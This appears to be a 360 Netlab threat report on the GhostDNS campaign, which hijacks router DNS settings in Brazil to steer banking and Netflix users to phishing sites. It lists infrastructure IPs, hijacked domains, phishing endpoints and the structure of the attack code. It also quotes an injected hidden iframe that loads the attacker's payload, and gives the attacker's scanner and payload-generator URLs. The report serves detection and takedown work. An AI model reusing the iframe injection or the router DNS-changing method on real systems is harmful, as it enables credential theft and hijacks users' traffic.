<p>Relevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p>
<h4 id="contactus">Contact Us</h4>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<p>note:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)</p>
<h4 id="ioclist">IoC list</h4>
<pre><code>#Pishing Web Server
[takendown] 193.70.95.89                 &quot;AS16276 OVH SAS&quot;
[takendown] 198.27.121.241	           &quot;AS16276 OVH SAS&quot;
[takendown] 35.237.127.167	           &quot;AS15169 Google LLC&quot;

#Rogue DNS Server
139.60.162.188	           &quot;AS395839 HOSTKEY&quot;
139.60.162.201	           &quot;AS395839 HOSTKEY&quot;
173.82.168.104	           &quot;AS35916 MULTACOM CORPORATION&quot;
18.223.2.98	              &quot;AS16509 Amazon.com, Inc.&quot;
185.70.186.4	             &quot;AS57043 Hostkey B.v.&quot;
200.196.240.104	          &quot;AS11419 Telefonica Data S.A.&quot;
200.196.240.120	          &quot;AS11419 Telefonica Data S.A.&quot;
80.211.37.41	             &quot;AS31034 Aruba S.p.A.&quot;
[takendown] 35.185.9.164	             &quot;AS15169 Google LLC&quot;
[takendown] 144.22.104.185	           &quot;AS7160 Oracle Corporation&quot;
[takendown] 192.99.187.193	           &quot;AS16276 OVH SAS&quot;
[takendown] 198.27.121.241	           &quot;AS16276 OVH SAS&quot;

#Web Admin Server
[takendown] 198.50.222.139	          &quot;AS16276 OVH SAS&quot;


#DNSChanger Scanner Server
[takendown] 104.196.177.180	          &quot;AS15169 Google LLC&quot;
[takendown] 104.196.232.200	          &quot;AS15169 Google LLC&quot;
[takendown] 104.197.106.6	            &quot;AS15169 Google LLC&quot;
[takendown] 104.198.54.181	           &quot;AS15169 Google LLC&quot;
[takendown] 104.198.77.60	            &quot;AS15169 Google LLC&quot;
[takendown] 198.50.222.139	           &quot;AS16276 OVH SAS&quot;
[takendown] 35.185.127.39	            &quot;AS15169 Google LLC&quot;
[takendown] 35.185.9.164	             &quot;AS15169 Google LLC&quot;
[takendown] 35.187.149.224	           &quot;AS15169 Google LLC&quot;
[takendown] 35.187.202.208	           &quot;AS15169 Google LLC&quot;
[takendown] 35.187.238.80	            &quot;AS15169 Google LLC&quot;
[takendown] 35.188.134.185	           &quot;AS15169 Google LLC&quot;
[takendown] 35.189.101.217	           &quot;AS15169 Google LLC&quot;
[takendown] 35.189.125.149	           &quot;AS15169 Google LLC&quot;
[takendown] 35.189.30.127                &quot;AS15169 Google LLC&quot;
[takendown] 35.189.59.155                &quot;AS15169 Google LLC&quot;
[takendown] 35.189.63.168                &quot;AS15169 Google LLC&quot;
[takendown] 35.189.92.68                 &quot;AS15169 Google LLC&quot;
[takendown] 35.194.197.94                &quot;AS15169 Google LLC&quot;
[takendown] 35.195.116.90                &quot;AS15169 Google LLC&quot;
[takendown] 35.195.176.44                &quot;AS15169 Google LLC&quot;
[takendown] 35.196.101.227               &quot;AS15169 Google LLC&quot;
[takendown] 35.197.148.253               &quot;AS15169 Google LLC&quot;
[takendown] 35.197.172.214               &quot;AS15169 Google LLC&quot;
[takendown] 35.198.11.42                 &quot;AS15169 Google LLC&quot;
[takendown] 35.198.31.197                &quot;AS15169 Google LLC&quot;
[takendown] 35.198.5.34                  &quot;AS15169 Google LLC&quot;
[takendown] 35.198.56.227                &quot;AS15169 Google LLC&quot;
[takendown] 35.199.106.0                 &quot;AS15169 Google LLC&quot;
[takendown] 35.199.2.186                 &quot;AS15169 Google LLC&quot;
[takendown] 35.199.61.19                 &quot;AS15169 Google LLC&quot;
[takendown] 35.199.66.147                &quot;AS15169 Google LLC&quot;
[takendown] 35.199.77.82                 &quot;AS15169 Google LLC&quot;
[takendown] 35.200.179.26                &quot;AS15169 Google LLC&quot;
[takendown] 35.200.28.69                 &quot;AS15169 Google LLC&quot;
[takendown] 35.203.111.239               &quot;AS15169 Google LLC&quot;
[takendown] 35.203.135.65                &quot;AS15169 Google LLC&quot;
[takendown] 35.203.143.138               &quot;AS15169 Google LLC&quot;
[takendown] 35.203.167.224               &quot;AS15169 Google LLC&quot;
[takendown] 35.203.18.30                 &quot;AS15169 Google LLC&quot;
[takendown] 35.203.183.182               &quot;AS15169 Google LLC&quot;
[takendown] 35.203.25.136                &quot;AS15169 Google LLC&quot;
[takendown] 35.203.3.16                  &quot;AS15169 Google LLC&quot;
[takendown] 35.203.48.110                &quot;AS15169 Google LLC&quot;
[takendown] 35.203.5.160                 &quot;AS15169 Google LLC&quot;
[takendown] 35.203.8.203                 &quot;AS15169 Google LLC&quot;
[takendown] 35.204.146.109               &quot;AS15169 Google LLC&quot;
[takendown] 35.204.51.103                &quot;AS15169 Google LLC&quot;
[takendown] 35.204.77.160                &quot;AS15169 Google LLC&quot;
[takendown] 35.204.80.189                &quot;AS15169 Google LLC&quot;
[takendown] 35.205.148.72                &quot;AS15169 Google LLC&quot;
[takendown] 35.205.24.104                &quot;AS15169 Google LLC&quot;
[takendown] 35.221.110.75                &quot;AS19527 Google LLC&quot;
[takendown] 35.221.71.123                &quot;AS19527 Google LLC&quot;
[takendown] 35.227.25.22                 &quot;AS15169 Google LLC&quot;
[takendown] 35.228.156.223               &quot;AS15169 Google LLC&quot;
[takendown] 35.228.156.99                &quot;AS15169 Google LLC&quot;
[takendown] 35.228.240.14                &quot;AS15169 Google LLC&quot;
[takendown] 35.228.244.19                &quot;AS15169 Google LLC&quot;
[takendown] 35.228.73.198                &quot;AS15169 Google LLC&quot;
[takendown] 35.228.90.15                 &quot;AS15169 Google LLC&quot;
[takendown] 35.230.104.237               &quot;AS15169 Google LLC&quot;
[takendown] 35.230.158.25                &quot;AS15169 Google LLC&quot;
[takendown] 35.230.162.54                &quot;AS15169 Google LLC&quot;
[takendown] 35.230.165.35                &quot;AS15169 Google LLC&quot;
[takendown] 35.231.163.40                &quot;AS15169 Google LLC&quot;
[takendown] 35.231.60.255                &quot;AS15169 Google LLC&quot;
[takendown] 35.231.68.186                &quot;AS15169 Google LLC&quot;
[takendown] 35.232.10.244                &quot;AS15169 Google LLC&quot;
[takendown] 35.234.131.31                &quot;AS15169 Google LLC&quot;
[takendown] 35.234.136.116               &quot;AS15169 Google LLC&quot;
[takendown] 35.234.156.85                &quot;AS15169 Google LLC&quot;
[takendown] 35.234.158.120               &quot;AS15169 Google LLC&quot;
[takendown] 35.234.77.117                &quot;AS15169 Google LLC&quot;
[takendown] 35.234.89.25                 &quot;AS15169 Google LLC&quot;
[takendown] 35.234.94.97                 &quot;AS15169 Google LLC&quot;
[takendown] 35.236.117.108               &quot;AS15169 Google LLC&quot;
[takendown] 35.236.2.49                  &quot;AS15169 Google LLC&quot;
[takendown] 35.236.222.1                 &quot;AS15169 Google LLC&quot;
[takendown] 35.236.246.82                &quot;AS15169 Google LLC&quot;
[takendown] 35.236.25.247                &quot;AS15169 Google LLC&quot;
[takendown] 35.236.254.11                &quot;AS15169 Google LLC&quot;
[takendown] 35.236.34.51                 &quot;AS15169 Google LLC&quot;
[takendown] 35.237.127.167               &quot;AS15169 Google LLC&quot;
[takendown] 35.237.204.11                &quot;AS15169 Google LLC&quot;
[takendown] 35.237.215.211               &quot;AS15169 Google LLC&quot;
[takendown] 35.237.32.144                &quot;AS15169 Google LLC&quot;
[takendown] 35.237.68.143                &quot;AS15169 Google LLC&quot;
[takendown] 35.238.4.122                 &quot;AS15169 Google LLC&quot;
[takendown] 35.238.74.24                 &quot;AS15169 Google LLC&quot;
[takendown] 35.240.156.17                &quot;AS15169 Google LLC&quot;
[takendown] 35.240.212.106               &quot;AS15169 Google LLC&quot;
[takendown] 35.240.234.169               &quot;AS15169 Google LLC&quot;
[takendown] 35.240.94.181                &quot;AS15169 Google LLC&quot;
[takendown] 35.241.151.23                &quot;AS15169 Google LLC&quot;
[takendown] 35.242.134.99                &quot;AS15169 Google LLC&quot;
[takendown] 35.242.140.13                &quot;AS15169 Google LLC&quot;
[takendown] 35.242.143.117               &quot;AS15169 Google LLC&quot;
[takendown] 35.242.152.241               &quot;AS15169 Google LLC&quot;
[takendown] 35.242.203.94                &quot;AS15169 Google LLC&quot;
[takendown] 35.242.245.109               &quot;AS15169 Google LLC&quot;
[takendown] 40.74.85.45                  &quot;AS8075 Microsoft Corporation&quot;
</code></pre>
<!--kg-card-end: markdown-->
note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)



Background introduction


DNSchanger is not something new and was quite active years ago [1], we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.


With that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[2]. Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions.


Just like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[3] through the corresponding DNS configuration interface.


But this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages.


Furthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.


Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.



GhostDNS system


The GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.


Figure 1: Flow chart of GhostDNS（click to enlarge image）


DNSChanger System


The DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes 100+ attack scripts altogether, affecting 70+ different routers.


The three DNSChanger sub-modules




The Shell DNSChanger sub-module


The Shell DNSChanger was first available around June 2016. It is basically a combination of 25 attack Shell scripts, which works on 21 routers/firmware.


This sub-module is only being used lightly, with limited deployment by the attacker.


This sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.


After the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.


The following is the key code structure of Shell DNSChanger


├── brasil
├── changers
│   ├── 3com1
│   ├── aprouter
│   ├── dlink1
│   ├── dlink2
│   ├── dlink3
│   ├── dlink4
│   ├── dlink5
│   ├── dlink6
│   ├── dlink7
│   ├── dlink7_
│   ├── globaltronic
│   ├── huawei
│   ├── intelbrass
│   ├── kaiomy
│   ├── mikrotik
│   ├── oiwtech
│   ├── ralink
│   ├── realtek
│   ├── speedstream
│   ├── speedtouch
│   ├── speedtouch2
│   ├── tplink1
│   ├── tplink2
│   ├── tplink3
│   ├── triz
│   └── viking
├── configs
├── logs
├── mdetector
├── mikrotik
├── ralink
├── src
│   ├── BasicAuth.cpp
│   ├── Makefile
│   ├── Net-Telnet-3.03.tar.gz
│   ├── base64.cpp
│   ├── config.cpp
│   ├── fscan.cpp
│   ├── md5.cpp
│   ├── md5.h
│   ├── sockets.cpp
│   ├── sslscanner.h
│   ├── ulimit
│   └── webforms.cpp
├── .fscan
└── .timeout



The following are affected routers/firmwares that we have identified


3COM OCR-812
AP-ROUTER
D-LINK
D-LINK DSL-2640T
D-LINK DSL-2740R
D-LINK DSL-500
D-LINK DSL-500G/DSL-502G
Huawei SmartAX MT880a
Intelbras WRN240-1
Kaiomy Router
MikroTiK Routers
OIWTECH OIW-2415CPE
Ralink Routers
SpeedStream
SpeedTouch
Tenda
TP-LINK TD-W8901G/TD-W8961ND/TD-8816
TP-LINK TD-W8960N
TP-LINK TL-WR740N
TRIZ TZ5500E/VIKING
VIKING/DSLINK 200 U/E



The Js DNSChanger sub-module


Js DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.


For example, a Js DNSChanger code on the home page of 35.236.25.247 (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).


<iframe src="http://193.70.95.89/2021/"  frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe>



The attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.


#Scanner
http://193.70.95.89/2021/index2.php



The payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.


#Payload generator
http://193.70.95.89/2021/api.init.php?d=192.168.1.1



The attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.


The following is part of the code structure of JS DNSChanger:


├── api.init.php
├── index.php
└── index2.php



The following are affected routers/firmwares that we identified


A-Link WL54AP3 / WL54AP2
D-Link DIR-905L
Roteador GWR-120
Secutech RiS Firmware
SMARTGATE
TP-Link TL-WR841N / TL-WR841ND



The following is the IP range it scans


192.168.0.1
192.168.15.1
192.168.1.1
192.168.25.1
192.168.100.1
10.0.0.1
192.168.2.1



The PyPhp DNSChanger sub-module


PyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:


Web API. Through which attacker can control and schedule to run the program conveniently.


Scanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.


Information of the Shodan API key is as follow:


API key: LI****Lg9P8****X5iy****AaRO
Created: 2017-11-03T16:55:13.425000
Plan: EDU



Attack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.

Interestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.





The code structure of PyPhp DNSChanger


├── api
├── application
│   ├── class
│   │   ├── routers
│   │   │   ├── routers.28ZE.php
│   │   │   ├── routers.AN5506-02-B.php
│   │   │   ├── routers.ELSYSCPE-2N.php
│   │   │   ├── routers.PQWS2401.php
│   │   │   ├── routers.TLWR840N.php
│   │   │   ├── routers.WR941ND.php
│   │   │   ├── routers.airos.php
│   │   │   ├── routers.c3t.php
│   │   │   ├── routers.cisconew.php
│   │   │   ├── routers.dlink.905.php
│   │   │   ├── routers.dlink.dir600.php
│   │   │   ├── routers.dlink.dir610.php
│   │   │   ├── routers.dlink.dir610o.php
│   │   │   ├── routers.dlink.dir615.php
│   │   │   ├── routers.fiberhome.php
│   │   │   ├── routers.fiberhomenew.php
│   │   │   ├── routers.ghotanboa.php
│   │   │   ├── routers.goahed.php
│   │   │   ├── routers.greatek.php
│   │   │   ├── routers.greatek2.php
│   │   │   ├── routers.gwr120.php
│   │   │   ├── routers.huawei.php
│   │   │   ├── routers.intelbras.php
│   │   │   ├── routers.intelbras.wrn240.php
│   │   │   ├── routers.intelbras.wrn300.php
│   │   │   ├── routers.intelbrasN150.php
│   │   │   ├── routers.linkone.php
│   │   │   ├── routers.livetimdslbasic.php
│   │   │   ├── routers.livetimsagecom.php
│   │   │   ├── routers.mikrotkit.php
│   │   │   ├── routers.multilaser.php
│   │   │   ├── routers.oiwtech.php
│   │   │   ├── routers.othermodels.php
│   │   │   ├── routers.sharecenter.php
│   │   │   ├── routers.thomson.php
│   │   │   ├── routers.timdsl.php
│   │   │   ├── routers.timvmg3312.php
│   │   │   ├── routers.wirelessnrouter.php
│   │   │   ├── routers.wrn1043nd.php
│   │   │   ├── routers.wrn342.php
│   │   │   ├── routers.wrn720n.php
│   │   │   ├── routers.wrn740n.php
│   │   │   ├── routers.wrn749n.php
│   │   │   ├── routers.wrn840n.php
│   │   │   ├── routers.wrn841n.php
│   │   │   └── routers.wrn845n.php
│   │   ├── routers_py
│   │   │   ├── WR300build8333.py
│   │   │   ├── install.sh
│   │   │   ├── router.ArcherC7.py
│   │   │   ├── router.FiberLink101.py
│   │   │   ├── router.GEPONONU.py
│   │   │   ├── router.PNRT150M.py
│   │   │   ├── router.QBR1041WU.py
│   │   │   ├── router.RoteadorWirelessN300Mbps.py
│   │   │   ├── router.SAPIDORB1830.py
│   │   │   ├── router.TENDAWirelessNBroadbandrouter.py
│   │   │   ├── router.TLWR840N.py
│   │   │   ├── router.TLWR841N.py
│   │   │   ├── router.TLWR849N.py
│   │   │   ├── router.TPLINKWR841N.py
│   │   │   ├── router.TechnicLanWAR54GSv2.py
│   │   │   ├── router.TendaWirelessRouter.py
│   │   │   ├── router.WEBManagementSystem.py
│   │   │   ├── router.WLANBroadbandRouter.py
│   │   │   ├── router.WebUI.py
│   │   │   ├── router.WirelessNWRN150R.py
│   │   │   ├── router.WirelessRouter.py
│   │   │   ├── router.WiveNGMTrouterfirmware.py
│   │   │   ├── router.ZXHNH208N.py
│   │   │   └── scan
│   │   │       ├── __init__.py
│   │   │       └── password.py
│   │   ├── scanner
│   │   │   └── class.scanner.utils.php
│   │   ├── shodan
│   │   │   ├── class.shodan.php
│   │   │   └── cookie.txt
│   │   ├── utils
│   │   │   ├── class.colors.php
│   │   │   ├── class.utils.php
│   │   │   └── class.webrequest.php
│   │   └── web
│   │       ├── blockedtitles
│   │       ├── class.web.api.php
│   │       └── class.web.interface.php
│   ├── config.bruteforce.php
│   ├── config.init.php
│   ├── config.layout.php
│   ├── config.rangelist - bkp.php
│   ├── config.rangelist.php
│   ├── config.routers.php
│   ├── config.scanner.php
│   ├── launchers
│   │   └── attack
│   │       └── launch
│   └── logs
├── logs
│   ├── change.log
│   └── gravar.php
├── parse_logs
└── scanner
    ├── api.php
    ├── extrator.php
    ├── ranged_scanner.php
    ├── rodar.php
    ├── rodarlista.php
    ├── shodan.php
    └── teste.py



The affected router/firmware we have identified


AirRouter AirOS
Antena PQWS2401
C3-TECH Router
Cisco Router
D-Link DIR-600
D-Link DIR-610
D-Link DIR-615
D-Link DIR-905L
D-Link ShareCenter
Elsys CPE-2n
Fiberhome
Fiberhome AN5506-02-B
Fiberlink 101
GPON ONU
Greatek
GWR 120
Huawei
Intelbras WRN 150
Intelbras WRN 240
Intelbras WRN 300
LINKONE
MikroTik
Multilaser
OIWTECH
PFTP-WR300
QBR-1041 WU
Roteador PNRT150M
Roteador Wireless N 300Mbps
Roteador WRN150
Roteador WRN342
Sapido RB-1830
TECHNIC LAN WAR-54GS
Tenda Wireless-N Broadband Router
Thomson
TP-Link Archer C7
TP-Link TL-WR1043ND
TP-Link TL-WR720N
TP-Link TL-WR740N
TP-Link TL-WR749N
TP-Link TL-WR840N
TP-Link TL-WR841N
TP-Link TL-WR845N
TP-Link TL-WR849N
TP-Link TL-WR941ND
Wive-NG routers firmware
ZXHN H208N
Zyxel VMG3312



The Web Admin System


We also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.





We notice a special label "Elite Priv8" on the login page of the Web Admin System. After some googling, we found the same description on a post titled "testador santander banking 2.1 versão beta elitepriv8" on a Brazilian security forum[4].


The following is the IP address of Web Admin Server


198.50.222.139	"AS16276 OVH SAS"



The Rogue DNS System


We have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.


Below is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0


{"domain": "avira.com.br", "rdata": ["0.0.0.0"]}
{"domain": "banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bancodobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "clickconta.com.br", "rdata": ["193.70.95.89"]}
{"domain": "contasuper.com.br", "rdata": ["193.70.95.89"]}
{"domain": "credicard.com.br", "rdata": ["198.27.121.241"]}
{"domain": "hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itaupersonnalite.com.br", "rdata": ["193.70.95.89"]}
{"domain": "kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "netflix.com.br", "rdata": ["35.237.127.167"]}
{"domain": "netflix.com", "rdata": ["35.237.127.167"]}
{"domain": "painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "uolhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "www.bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "www.caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "www.citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.credicard.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.com", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.net", "rdata": ["193.70.95.89"]}
{"domain": "www.painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.uol.com.br", "rdata": ["193.70.95.89"]}



Below is the list of rogue DNS servers we have discovered.


139.60.162.188	   "AS395839 HOSTKEY"
139.60.162.201	   "AS395839 HOSTKEY"
144.22.104.185	   "AS7160 Oracle Corporation"
173.82.168.104	   "AS35916 MULTACOM CORPORATION"
18.223.2.98	      "AS16509 Amazon.com, Inc."
185.70.186.4	     "AS57043 Hostkey B.v."
192.99.187.193	   "AS16276 OVH SAS"
198.27.121.241	   "AS16276 OVH SAS"
200.196.240.104  	"AS11419 Telefonica Data S.A."
200.196.240.120	  "AS11419 Telefonica Data S.A."
35.185.9.164	     "AS15169 Google LLC"
80.211.37.41	     "AS31034 Aruba S.p.A."



The Phishing Web System


The rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.


Probing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.


md5, url, hostname, pishing web api
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']
492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']
5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']
9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']
d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']
fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']
ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']



